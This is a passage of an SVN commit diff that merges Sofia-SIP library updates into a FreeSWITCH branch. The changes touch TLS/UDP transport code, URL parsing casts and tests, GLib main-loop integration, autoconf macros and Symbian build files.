+    socklen_t susalen = sizeof(susa);
+
+    if (getsockname(server_socket, &susa.su_sa, &susalen) < 0) {
+      SU_DEBUG_3(("%s(%p): getsockname(): %s\n",
+                  __func__, (void *)self, su_strerror(su_errno())));
+    } else {
+      susa.su_port = 0;
+      if (bind(s, &susa.su_sa, susalen) < 0) {
+        SU_DEBUG_3(("%s(%p): bind(local-ip): %s\n",
+                    __func__, (void *)self, su_strerror(su_errno())));
+      }
+    }
+  }
+
+  what = "connect";
+  if (connect(s, ai->ai_addr, (socklen_t)(ai->ai_addrlen)) == SOCKET_ERROR) {
+    err = su_errno();
+    if (!su_is_blocking(err))
+      goto sys_error;
+  }
+
+  what = "tport_setname";
+  if (tport_setname(self, tpn->tpn_proto, ai, tpn->tpn_canon) == -1)
+    goto sys_error;
+
+  what = "tport_register_secondary";
+  if (tport_register_secondary(self, tls_connect, events) == -1)
+    goto sys_error;
+
+  SU_DEBUG_5(("%s(%p): connecting to " TPN_FORMAT "\n",
+              __func__, (void *)self, TPN_ARGS(self->tp_name)));
+
+  tport_set_secondary_timer(self);
+
+  return self;
+
+sys_error:
+  err = errno;
+  if (SU_LOG_LEVEL >= errlevel)
+    su_llog(tport_log, errlevel, "%s(%p): %s (pf=%d %s/%s): %s\n",
+            __func__, (void *)pri, what, ai->ai_family, tpn->tpn_proto,
+	    tport_hostport(buf, sizeof(buf), (void *)ai->ai_addr, 2),
+	    su_strerror(err));
+  tport_zap_secondary(self);
+  su_seterrno(err);
+  return NULL;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_udp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_udp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_type_udp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -69,38 +69,52 @@
 
 tport_vtable_t const tport_udp_client_vtable =
 {
-  "udp", tport_type_client,
-  sizeof (tport_primary_t),
-  tport_udp_init_client,
-  NULL,
-  NULL,
-  NULL,
-  sizeof (tport_t),
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_dgram,
-  tport_send_dgram,
+  /* vtp_name 		     */ "udp",
+  /* vtp_public              */ tport_type_client,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_udp_init_client,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ NULL,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_dgram,
+  /* vtp_send                */ tport_send_dgram,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 tport_vtable_t const tport_udp_vtable =
 {
-  "udp", tport_type_local,
-  sizeof (tport_primary_t),
-  tport_udp_init_primary,
-  NULL,
-  NULL,
-  NULL,
-  sizeof (tport_t),
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_dgram,
-  tport_send_dgram,
+  /* vtp_name 		     */ "udp",
+  /* vtp_public              */ tport_type_local,
+  /* vtp_pri_size            */ sizeof (tport_primary_t),
+  /* vtp_init_primary        */ tport_udp_init_primary,
+  /* vtp_deinit_primary      */ NULL,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ sizeof (tport_t),
+  /* vtp_init_secondary      */ NULL,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_dgram,
+  /* vtp_send                */ tport_send_dgram,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ NULL,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 static void tport_check_trunc(tport_t *tp, su_addrinfo_t *ai);
@@ -254,19 +268,15 @@
   if (n != 4)
     return;
 
-  for (;;) {
-    n = su_recvfrom(tp->tp_socket, buffer, sizeof buffer, MSG_TRUNC,
-		    (void *)&su, &sulen);
+  n = su_recvfrom(tp->tp_socket, buffer, sizeof buffer, MSG_TRUNC,
+		  (void *)&su, &sulen);
 
-    if (n > (ssize_t)sizeof buffer) {
-      tp->tp_trunc = 1;
-      return;
-    }
-
-    /* XXX - check that su and tp->tp_addrinfo->ai_addr match */
-
+  if (n > (ssize_t)sizeof buffer) {
+    tp->tp_trunc = 1;
     return;
   }
+
+  /* XXX - check that su and tp->tp_addrinfo->ai_addr match */
 #endif
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/sofia-sip/url.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/sofia-sip/url.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/sofia-sip/url.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -224,7 +224,7 @@
 /** Return the URL port string, using default port if none present. */
 #define URL_PORT(u) \
   ((u) && (u)->url_port ? (u)->url_port : \
-  url_port_default((u) ? (u)->url_type : url_any))
+  url_port_default((u) ? (enum url_type_e)(u)->url_type : url_any))
 
 /* ---------------------------------------------------------------------- */
 /* url_string_t handling */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/torture_url.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/torture_url.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/torture_url.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -341,6 +341,9 @@
   u = url_hdup(home, (url_t*)"SIP:test@127.0.0.1:55"); TEST_1(u);
   TEST(u->url_type, url_sip);
 
+  u = url_hdup(home, (url_t*)"SIP:test@127.0.0.1:"); TEST_1(u);
+  TEST(u->url_type, url_sip);
+
   TEST_P(url_hdup(home, (url_t*)"sip:test@127.0.0.1::55"), NULL);
   TEST_P(url_hdup(home, (url_t*)"sip:test@127.0.0.1:55:"), NULL);
   TEST_P(url_hdup(home, (url_t*)"sip:test@127.0.0.1:sip"), NULL);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/url.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/url.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/url/url.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -501,7 +501,7 @@
   memset(url, 0, sizeof(*url));
   url->url_type = type;
   if (type > url_unknown) {
-    char const *scheme = url_scheme(url->url_type);
+    char const *scheme = url_scheme((enum url_type_e)url->url_type);
     if (scheme)
       url->url_scheme = scheme;
   }
@@ -593,7 +593,7 @@
 
     url->url_type = url_get_type(url->url_scheme, n);
 
-    have_authority = !url_type_is_opaque(url->url_type);
+    have_authority = !url_type_is_opaque((enum url_type_e)url->url_type);
   }
   else {
     url->url_type = url_unknown;
@@ -713,8 +713,15 @@
 	while (*port >= '0' && *port <= '9')
 	  port++;
 
-	if (port != url->url_port ? port[0] != '\0'
-	    : (port[0] != '*' || port[1] != '\0'))
+	if (port != url->url_port) {
+	  if (port[0] != '\0')
+	    return -1;
+	}
+	else if (port[0] == '\0')
+	  /* empty string */;
+	else if (port[0] == '*' && port[1] == '\0')
+	  /* wildcard */;
+	else
 	  return -1;
       }
       host[n] = 0;
@@ -1128,7 +1135,7 @@
     srcp = &src->url_scheme;
 
     if (dst->url_type > url_unknown)
-      *dstp = url_scheme(dst->url_type);
+      *dstp = url_scheme((enum url_type_e)dst->url_type);
 
     if (*dstp != NULL)
       dstp++, srcp++;	/* Skip scheme if it is constant */
@@ -1584,9 +1591,9 @@
     char const *b_port;
 
     if (url_type != url_sip && url_type != url_sips)
-      a_port = b_port = url_port_default(url_type);
+      a_port = b_port = url_port_default((enum url_type_e)url_type);
     else if (host_is_ip_address(a->url_host))
-      a_port = b_port = url_port_default(url_type);
+      a_port = b_port = url_port_default((enum url_type_e)url_type);
     else
       a_port = b_port = "";
 
@@ -1695,9 +1702,9 @@
     char const *b_port;
 
     if (url_type != url_sip && url_type != url_sips)
-      a_port = b_port = url_port_default(url_type);
+      a_port = b_port = url_port_default((enum url_type_e)url_type);
     else if (host_is_ip_address(a->url_host))
-      a_port = b_port = url_port_default(url_type);
+      a_port = b_port = url_port_default((enum url_type_e)url_type);
     else
       a_port = b_port = "";
 
@@ -1856,7 +1863,7 @@
     if (!host_is_ip_address(u->url_host))
       return "";
 
-  return url_port_default(u->url_type);
+  return url_port_default((enum url_type_e)u->url_type);
 }
 
 /** Sanitize URL.

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -50,6 +50,8 @@
 include $(top_srcdir)/rules/lcov.am
 endif
 
+include $(top_srcdir)/rules/silent.am
+
 .PHONY = $(PHONY)
 
 CLEANFILES = docs/*.doxytags

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,7 +12,8 @@
 S_BASE = $(top_srcdir)/libsofia-sip-ua
 B_BASE = $(top_builddir)/libsofia-sip-ua
 
-INCLUDES =		-I$(S_BASE)/su -I$(B_BASE)/su $(GLIB_CFLAGS)
+INCLUDES =		-I$(S_BASE)/su -I$(B_BASE)/su $(GLIB_CFLAGS) \
+			$(SOFIA_GLIB_CFLAGS)
 
 # ----------------------------------------------------------------------
 # Build targets

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/su_source.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/su_source.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua-glib/su-glib/su_source.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 /*
  * This file is part of the Sofia-SIP package
  *
- * Copyright (C) 2005 Nokia Corporation.
+ * Copyright (C) 2005-2009 Nokia Corporation.
  *
  * Contact: Pekka Pessi <pekka.pessi@nokia.com>
  *
@@ -38,7 +38,13 @@
 
 #include "config.h"
 
+#ifdef SYMBIAN
+#include <e32def.h>
+#endif
+
+#ifndef __GLIB_H__
 #include <glib.h>
+#endif
 
 #if HAVE_OPEN_C
 #include <glib/gthread.h>
@@ -97,8 +103,6 @@
 static void su_source_decref(su_port_t *self, int blocking, char const *who);
 static struct _GSource *su_source_gsource(su_port_t *port);
 
-static int su_source_send(su_port_t *self, su_msg_r rmsg);
-
 static int su_source_register(su_port_t *self,
 			    su_root_t *root,
 			    su_wait_t *wait,
@@ -126,6 +130,8 @@
 static int su_source_remove_prepoll(su_port_t *port,
 				  su_root_t *root);
 static int su_source_multishot(su_port_t *self, int multishot);
+static int su_source_wakeup(su_port_t *self);
+static int su_source_is_running(su_port_t const *self);
 
 static char const *su_source_name(su_port_t const *self);
 
@@ -141,7 +147,7 @@
 
       su_source_gsource,
 
-      su_source_send,
+      su_base_port_send,
       su_source_register,
       su_source_unregister,
       su_source_deregister,
@@ -162,6 +168,10 @@
       su_base_port_start_shared,
       su_base_port_wait,
       NULL,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_source_wakeup,
+      su_source_is_running,
     }};
 
 static char const *su_source_name(su_port_t const *self)
@@ -308,38 +318,11 @@
   su_source_port_deinit(ss->ss_port);
 }
 
-void su_source_port_lock(su_port_t *self, char const *who)
-{
-  PORT_LOCK_DEBUG(("%p at %s locking(%p)...",
-		   (void *)g_thread_self(), who, self));
-
-  g_static_mutex_lock(self->sup_mutex);
-
-  PORT_LOCK_DEBUG((" ...%p at %s locked(%p)...",
-		   (void *)g_thread_self(), who, self));
-}
-
-void su_source_port_unlock(su_port_t *self, char const *who)
-{
-  g_static_mutex_unlock(self->sup_mutex);
-
-  PORT_LOCK_DEBUG((" ...%p at %s unlocked(%p)\n",
-		   (void *)g_thread_self(), who, self));
-}
-
 /** @internal Send a message to the port. */
-int su_source_send(su_port_t *self, su_msg_r rmsg)
+int su_source_wakeup(su_port_t *self)
 {
-  int wakeup = su_base_port_send(self, rmsg);
-  GMainContext *gmc;
+  GMainContext *gmc = g_source_get_context(self->sup_source);
 
-  if (wakeup < 0)
-    return -1;
-  if (wakeup == 0)
-    return 0;
-
-  gmc = g_source_get_context(self->sup_source);
-
   if (gmc)
     g_main_context_wakeup(gmc);
 
@@ -400,6 +383,7 @@
 {
   SuSource *ss = (SuSource *)gs;
   su_port_t *self = ss->ss_port;
+  su_duration_t tout = SU_WAIT_FOREVER;
 
   enter;
 
@@ -408,24 +392,33 @@
     return TRUE;
   }
 
-  if (self->sup_base->sup_timers) {
+  if (self->sup_base->sup_timers || self->sup_base->sup_deferrable) {
     su_time_t now;
     GTimeVal  gtimeval;
-    su_duration_t tout;
 
     g_source_get_current_time(gs, &gtimeval);
     now.tv_sec = gtimeval.tv_sec + 2208988800UL;
     now.tv_usec = gtimeval.tv_usec;
 
-    tout = su_timer_next_expires(self->sup_base->sup_timers, now);
+    tout = su_timer_next_expires(&self->sup_base->sup_timers, now);
 
-    *return_tout = (tout < 0 || tout > (su_duration_t)G_MAXINT)?
-	-1 : (gint)tout;
+    if (self->sup_base->sup_deferrable) {
+      su_duration_t tout_defer;
 
-    return (tout == 0);
+      tout_defer = su_timer_next_expires(&self->sup_base->sup_deferrable, now);
+
+      if (tout_defer < self->sup_base->sup_max_defer)
+        tout_defer = self->sup_base->sup_max_defer;
+
+      if (tout > tout_defer)
+        tout = tout_defer;
+    }
   }
 
-  return FALSE;
+  *return_tout = (tout >= 0 && tout <= (su_duration_t)G_MAXINT)?
+      (gint)tout : -1;
+
+  return (tout == 0);
 }
 
 static
@@ -434,13 +427,15 @@
   SuSource *ss = (SuSource *)gs;
   su_port_t *self = ss->ss_port;
   gint tout;
+#if SU_HAVE_POLL
   unsigned i, I;
+#endif
 
   enter;
 
+#if SU_HAVE_POLL
   I = self->sup_n_waits;
 
-#if SU_HAVE_POLL
   for (i = 0; i < I; i++) {
     if (self->sup_waits[i].revents)
       return TRUE;
@@ -463,11 +458,10 @@
   if (self->sup_base->sup_head)
     su_base_port_getmsgs(self);
 
-  if (self->sup_base->sup_timers) {
+  if (self->sup_base->sup_timers || self->sup_base->sup_deferrable) {
     su_time_t now;
     GTimeVal  gtimeval;
     su_duration_t tout;
-    int timers = 0;
 
     tout = SU_DURATION_MAX;
 
@@ -476,7 +470,8 @@
     now.tv_sec = gtimeval.tv_sec + 2208988800UL;
     now.tv_usec = gtimeval.tv_usec;
 
-    timers = su_timer_expire(&self->sup_base->sup_timers, &tout, now);
+    su_timer_expire(&self->sup_base->sup_timers, &tout, now);
+    su_timer_expire(&self->sup_base->sup_deferrable, &tout, now);
   }
 
 #if SU_HAVE_POLL
@@ -837,7 +832,7 @@
  * @return Number of wait objects removed.
  */
 int su_source_unregister_all(su_port_t *self,
-			   su_root_t *root)
+			     su_root_t *root)
 {
   unsigned i, j;
   unsigned         n_waits;
@@ -881,8 +876,7 @@
 
 /**Set mask for a registered event. @internal
  *
- * The function su_source_eventmask() sets the mask describing events that can
- * signal the registered callback.
+ * Sets the mask describing events that can signal the registered callback.
  *
  * @param port   pointer to port object
  * @param index  registration index
@@ -892,6 +886,7 @@
  * @retval 0 when successful,
  * @retval -1 upon an error.
  */
+static
 int su_source_eventmask(su_port_t *self, int index, int socket, int events)
 {
   unsigned n;
@@ -932,15 +927,13 @@
 }
 
 
-/** @internal Main loop.
+/** @internal Run the main loop.
  *
- * The function @c su_source_run() runs the main loop
+ * The main loop runs until su_source_break() is called from a callback.
  *
- * The function @c su_source_run() runs until @c su_source_break() is called
- * from a callback.
- *
- * @param self     pointer to root object
+ * @param self     pointer to port object
  * */
+static
 void su_source_run(su_port_t *self)
 {
   GMainContext *gmc;
@@ -959,6 +952,11 @@
   }
 }
 
+static int su_source_is_running(su_port_t const *self)
+{
+  return self->sup_main_loop && g_main_loop_is_running(self->sup_main_loop);
+}
+
 /** @internal
  * The function @c su_source_break() is used to terminate execution of @c
  * su_source_run(). It can be called from a callback function.
@@ -966,6 +964,7 @@
  * @param self     pointer to port
  *
  */
+static
 void su_source_break(su_port_t *self)
 {
   enter;
@@ -1112,4 +1111,3 @@
 {
   su_port_prefer(su_source_port_create, NULL);
 }
-

Property changes: freeswitch/branches/seven/libs/sofia-sip/m4


Name: svn:ignore
   + ltsugar.m4
libtool.m4
ltversion.m4
lt~obsolete.m4
ltoptions.m4

Modified: freeswitch/branches/seven/libs/sofia-sip/m4/sac-general.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/m4/sac-general.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/m4/sac-general.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -122,6 +122,7 @@
 AC_SUBST([CWFLAG], [$ac_cv_cwflag])
 
 AC_ARG_VAR([SOFIA_CFLAGS], [CFLAGS not used during configure])
+AC_ARG_VAR([SOFIA_GLIB_CFLAGS], [Extra CFLAGS for libsofia-sip-ua-glib])
 
 SAC_COVERAGE
 ])

Copied: freeswitch/branches/seven/libs/sofia-sip/m4/sac-pkg-config.m4 (from rev 14471, freeswitch/trunk/libs/sofia-sip/m4/sac-pkg-config.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/m4/sac-pkg-config.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/m4/sac-pkg-config.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+dnl PKG_CHECK_MODULES(GSTUFF, gtk+-2.0 >= 1.3 glib = 1.3.4, action-if, action-not)
+dnl defines GSTUFF_LIBS, GSTUFF_CFLAGS, see pkg-config man page
+dnl also defines GSTUFF_PKG_ERRORS on error
+AC_DEFUN([PKG_CHECK_MODULES], [
+  succeeded=no
+
+  if test -z "$PKG_CONFIG"; then
+    AC_PATH_PROG(PKG_CONFIG, pkg-config, no)
+  fi
+
+  if test "$PKG_CONFIG" = "no" ; then
+     echo "*** The pkg-config script could not be found. Make sure it is"
+     echo "*** in your path, or set the PKG_CONFIG environment variable"
+     echo "*** to the full path to pkg-config."
+     echo "*** Or see http://www.freedesktop.org/software/pkgconfig to get pkg-config."
+  else
+     PKG_CONFIG_MIN_VERSION=0.9.0
+     if $PKG_CONFIG --atleast-pkgconfig-version $PKG_CONFIG_MIN_VERSION; then
+        AC_MSG_CHECKING(for $2)
+
+        if $PKG_CONFIG --exists "$2" ; then
+            AC_MSG_RESULT(yes)
+            succeeded=yes
+
+            AC_MSG_CHECKING($1_CFLAGS)
+            $1_CFLAGS=`$PKG_CONFIG --cflags "$2"`
+            AC_MSG_RESULT($$1_CFLAGS)
+
+            AC_MSG_CHECKING($1_LIBS)
+            $1_LIBS=`$PKG_CONFIG --libs "$2"`
+            AC_MSG_RESULT($$1_LIBS)
+        else
+            $1_CFLAGS=""
+            $1_LIBS=""
+            ## If we have a custom action on failure, don't print errors, but 
+            ## do set a variable so people can do so.
+            $1_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "$2"`
+            ifelse([$4], ,echo $$1_PKG_ERRORS,)
+        fi
+
+        AC_SUBST($1_CFLAGS)
+        AC_SUBST($1_LIBS)
+     else
+        echo "*** Your version of pkg-config is too old. You need version $PKG_CONFIG_MIN_VERSION or newer."
+        echo "*** See http://www.freedesktop.org/software/pkgconfig"
+     fi
+  fi
+
+  if test $succeeded = yes; then
+     ifelse([$3], , :, [$3])
+  else
+     ifelse([$4], , AC_MSG_ERROR([Library requirements ($2) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them.]), [$4])
+  fi
+])
+
+

Modified: freeswitch/branches/seven/libs/sofia-sip/m4/sac-su2.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/m4/sac-su2.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/m4/sac-su2.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -530,6 +530,7 @@
                 socketpair gethostname gethostbyname getipnodebyname \
                 poll epoll_create kqueue select if_nameindex \
 		signal alarm \
+		strnlen \
 	        getaddrinfo getnameinfo freeaddrinfo gai_strerror getifaddrs \
                 getline getdelim getpass])
 # getline getdelim getpass are _GNU_SOURCE stuff
@@ -548,7 +549,7 @@
     [Define to 1 if you have if_nameindex().])
 fi
 
-SAC_REPLACE_FUNCS([memmem memccpy memspn memcspn strcasestr strtoull \
+SAC_REPLACE_FUNCS([memmem memccpy memspn memcspn strtoull \
 		   inet_ntop inet_pton poll])
 
 if test $ac_cv_func_signal = yes ; then

Modified: freeswitch/branches/seven/libs/sofia-sip/open_c/build_sources.cmd (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/open_c/build_sources.cmd	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/open_c/build_sources.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -113,6 +113,8 @@
 %CHECK%
 %TAG_AWK% NO_DLL=1 LIST=soa_tag_list %P%/soa/soa_tag.c  < NUL
 %CHECK%
+%TAG_AWK% NO_DLL=1 %P%/su/su_tag.c  < NUL
+%CHECK%
 %TAG_AWK% NO_DLL=1 LIST=stun_tag_list %P%/stun/stun_tag.c  < NUL
 %CHECK%
 %TAG_AWK% NO_DLL=1 %P%/tport/tport_tag.c  < NUL

Modified: freeswitch/branches/seven/libs/sofia-sip/open_c/group/bld.inf (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/open_c/group/bld.inf	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/open_c/group/bld.inf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -57,6 +57,7 @@
 ../../libsofia-sip-ua/nth/sofia-sip/nth_tag.h \epoc32\include\osextensions\sofia-sip\nth_tag.h
 ../../libsofia-sip-ua/nua/sofia-sip/nua.h \epoc32\include\osextensions\sofia-sip\nua.h
 ../../libsofia-sip-ua/nua/sofia-sip/nua_tag.h \epoc32\include\osextensions\sofia-sip\nua_tag.h
+../../libsofia-sip-ua/nua/nua_types.h \epoc32\include\osextensions\sofia-sip\nua_types.h
 ../../libsofia-sip-ua/sdp/sofia-sip/sdp.h \epoc32\include\osextensions\sofia-sip\sdp.h
 ../../libsofia-sip-ua/sdp/sofia-sip/sdp_tag.h \epoc32\include\osextensions\sofia-sip\sdp_tag.h
 ../../libsofia-sip-ua/sip/sofia-sip/sip.h \epoc32\include\osextensions\sofia-sip\sip.h
@@ -74,6 +75,7 @@
 ../../libsofia-sip-ua/soa/sofia-sip/soa_session.h \epoc32\include\osextensions\sofia-sip\soa_session.h
 ../../libsofia-sip-ua/soa/sofia-sip/soa_tag.h \epoc32\include\osextensions\sofia-sip\soa_tag.h
 ../../libsofia-sip-ua/sresolv/sofia-sip/sresolv.h \epoc32\include\osextensions\sofia-sip\sresolv.h
+../../libsofia-sip-ua/sresolv/sofia-sip/sres_sip.h \epoc32\include\osextensions\sofia-sip\sres_sip.h
 ../../libsofia-sip-ua/sresolv/sofia-resolv/sres.h \epoc32\include\osextensions\sofia-resolv/sres.h
 ../../libsofia-sip-ua/sresolv/sofia-resolv/sres_async.h \epoc32\include\osextensions\sofia-resolv/sres_async.h
 ../../libsofia-sip-ua/sresolv/sofia-resolv/sres_cache.h \epoc32\include\osextensions\sofia-resolv/sres_cache.h
@@ -87,6 +89,7 @@
 ../../libsofia-sip-ua/su/sofia-sip/htable2.h \epoc32\include\osextensions\sofia-sip\htable2.h
 ../../libsofia-sip-ua/su/sofia-sip/rbtree.h \epoc32\include\osextensions\sofia-sip\rbtree.h
 ../../libsofia-sip-ua/su/sofia-sip/string0.h \epoc32\include\osextensions\sofia-sip\string0.h
+../../libsofia-sip-ua/su/sofia-sip/su_string.h \epoc32\include\osextensions\sofia-sip\su_string.h
 ../../libsofia-sip-ua/su/sofia-sip/su.h \epoc32\include\osextensions\sofia-sip\su.h
 ../../libsofia-sip-ua/su/sofia-sip/su_addrinfo.h \epoc32\include\osextensions\sofia-sip\su_addrinfo.h
 ../../libsofia-sip-ua/su/sofia-sip/su_alloc.h \epoc32\include\osextensions\sofia-sip\su_alloc.h
@@ -135,9 +138,9 @@
 //torture_sip.mmp
 //test_http.mmp
 //test_soa.mmp
-test_tport.mmp
-test_nua.mmp
+//test_tport.mmp
+//test_nua.mmp
 //test_nta.mmp
-su_source_test.mmp
+//su_source_test.mmp
 
 //  End of File  
\ No newline at end of file

Modified: freeswitch/branches/seven/libs/sofia-sip/open_c/group/libsofia-sip-ua.mmp (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/open_c/group/libsofia-sip-ua.mmp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/open_c/group/libsofia-sip-ua.mmp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,7 @@
 UID             0x1000008D 0xA000017E
 VENDORID        0
 OPTION CW       -dialect c99 -inline on -warn nounusedarg,nounusedvar
+OPTION ARMCC    --diag_suppress=1293,1295,188,186,550,111,174,177,187
 //CAPABILITY      NetworkServices NetworkControl CommDD UserEnvironment
 
 //EPOCHEAPSIZE 4 4194304
@@ -64,9 +65,12 @@
 SOURCE          memcspn.c
 SOURCE          string0.c
 SOURCE          strtoull.c
-SOURCE          strcasestr.c
+SOURCE          su_string.c
 SOURCE          getopt.c
 SOURCE          poll.c
+SOURCE          smoothsort.c
+SOURCE          su_kqueue_port.c
+SOURCE          su_devpoll_port.c
 
 SOURCEPATH 			..\..\libsofia-sip-ua\bnf
 
@@ -159,6 +163,8 @@
 SOURCE          nua.c
 SOURCE          nua_common.c
 SOURCE          nua_stack.c
+SOURCE          nua_client.c
+SOURCE          nua_server.c
 SOURCE          nua_extension.c
 SOURCE          nua_dialog.c
 SOURCE          outbound.c
@@ -220,6 +226,7 @@
 SOURCE          sres_cache.c
 SOURCE          sres_blocking.c
 SOURCE          sresolv.c
+SOURCE          sres_sip.c
 
 SOURCEPATH 			..\..\libsofia-sip-ua\stun
 
@@ -281,6 +288,7 @@
 SYSTEMINCLUDE   \epoc32\include\stdapis
 SYSTEMINCLUDE   \epoc32\include\stdapis\openssl
 SYSTEMINCLUDE   \epoc32\include\osextensions
+SYSTEMINCLUDE   \epoc32\include\osextensions\sofia-sip
 
 // Library dependencies
 

Modified: freeswitch/branches/seven/libs/sofia-sip/packages/sofia-sip-ua.pc.in (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/packages/sofia-sip-ua.pc.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/packages/sofia-sip-ua.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,6 +4,7 @@
 libexecdir=@libexecdir@
 includedir=@includedir@
 include_sofiadir=@include_sofiadir@
+datarootdir=@datarootdir@
 sofiaawkdir=@datadir@/@PACKAGE@
 
 Name: sofia-sip-ua

Copied: freeswitch/branches/seven/libs/sofia-sip/rules/silent.am (from rev 14471, freeswitch/trunk/libs/sofia-sip/rules/silent.am) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/rules/silent.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/rules/silent.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+# Silent compilation w/ Automake 1.9 or 1.10
+# ----------------------------------------------------------
+
+# Automake 1.9.6 is not clever enough to override suffix rules within if
+# if SOFIA_COMPILE_SILENT
+
+SOFIA_SILENT=@
+
+LIBTOOL_FLAGS = --silent
+
+# From Automake 1.9.6 - 
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(LIBTOOL_FLAGS) \
+	$(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+
+LINK = 	${SOFIA_SILENT}test "${SOFIA_SILENT}" != @ || echo '	 LINK $@'; \
+	$(LIBTOOL) --tag=CC --mode=link $(LIBTOOL_FLAGS) \
+	$(CCLD) $(AM_CFLAGS) $(CFLAGS) \
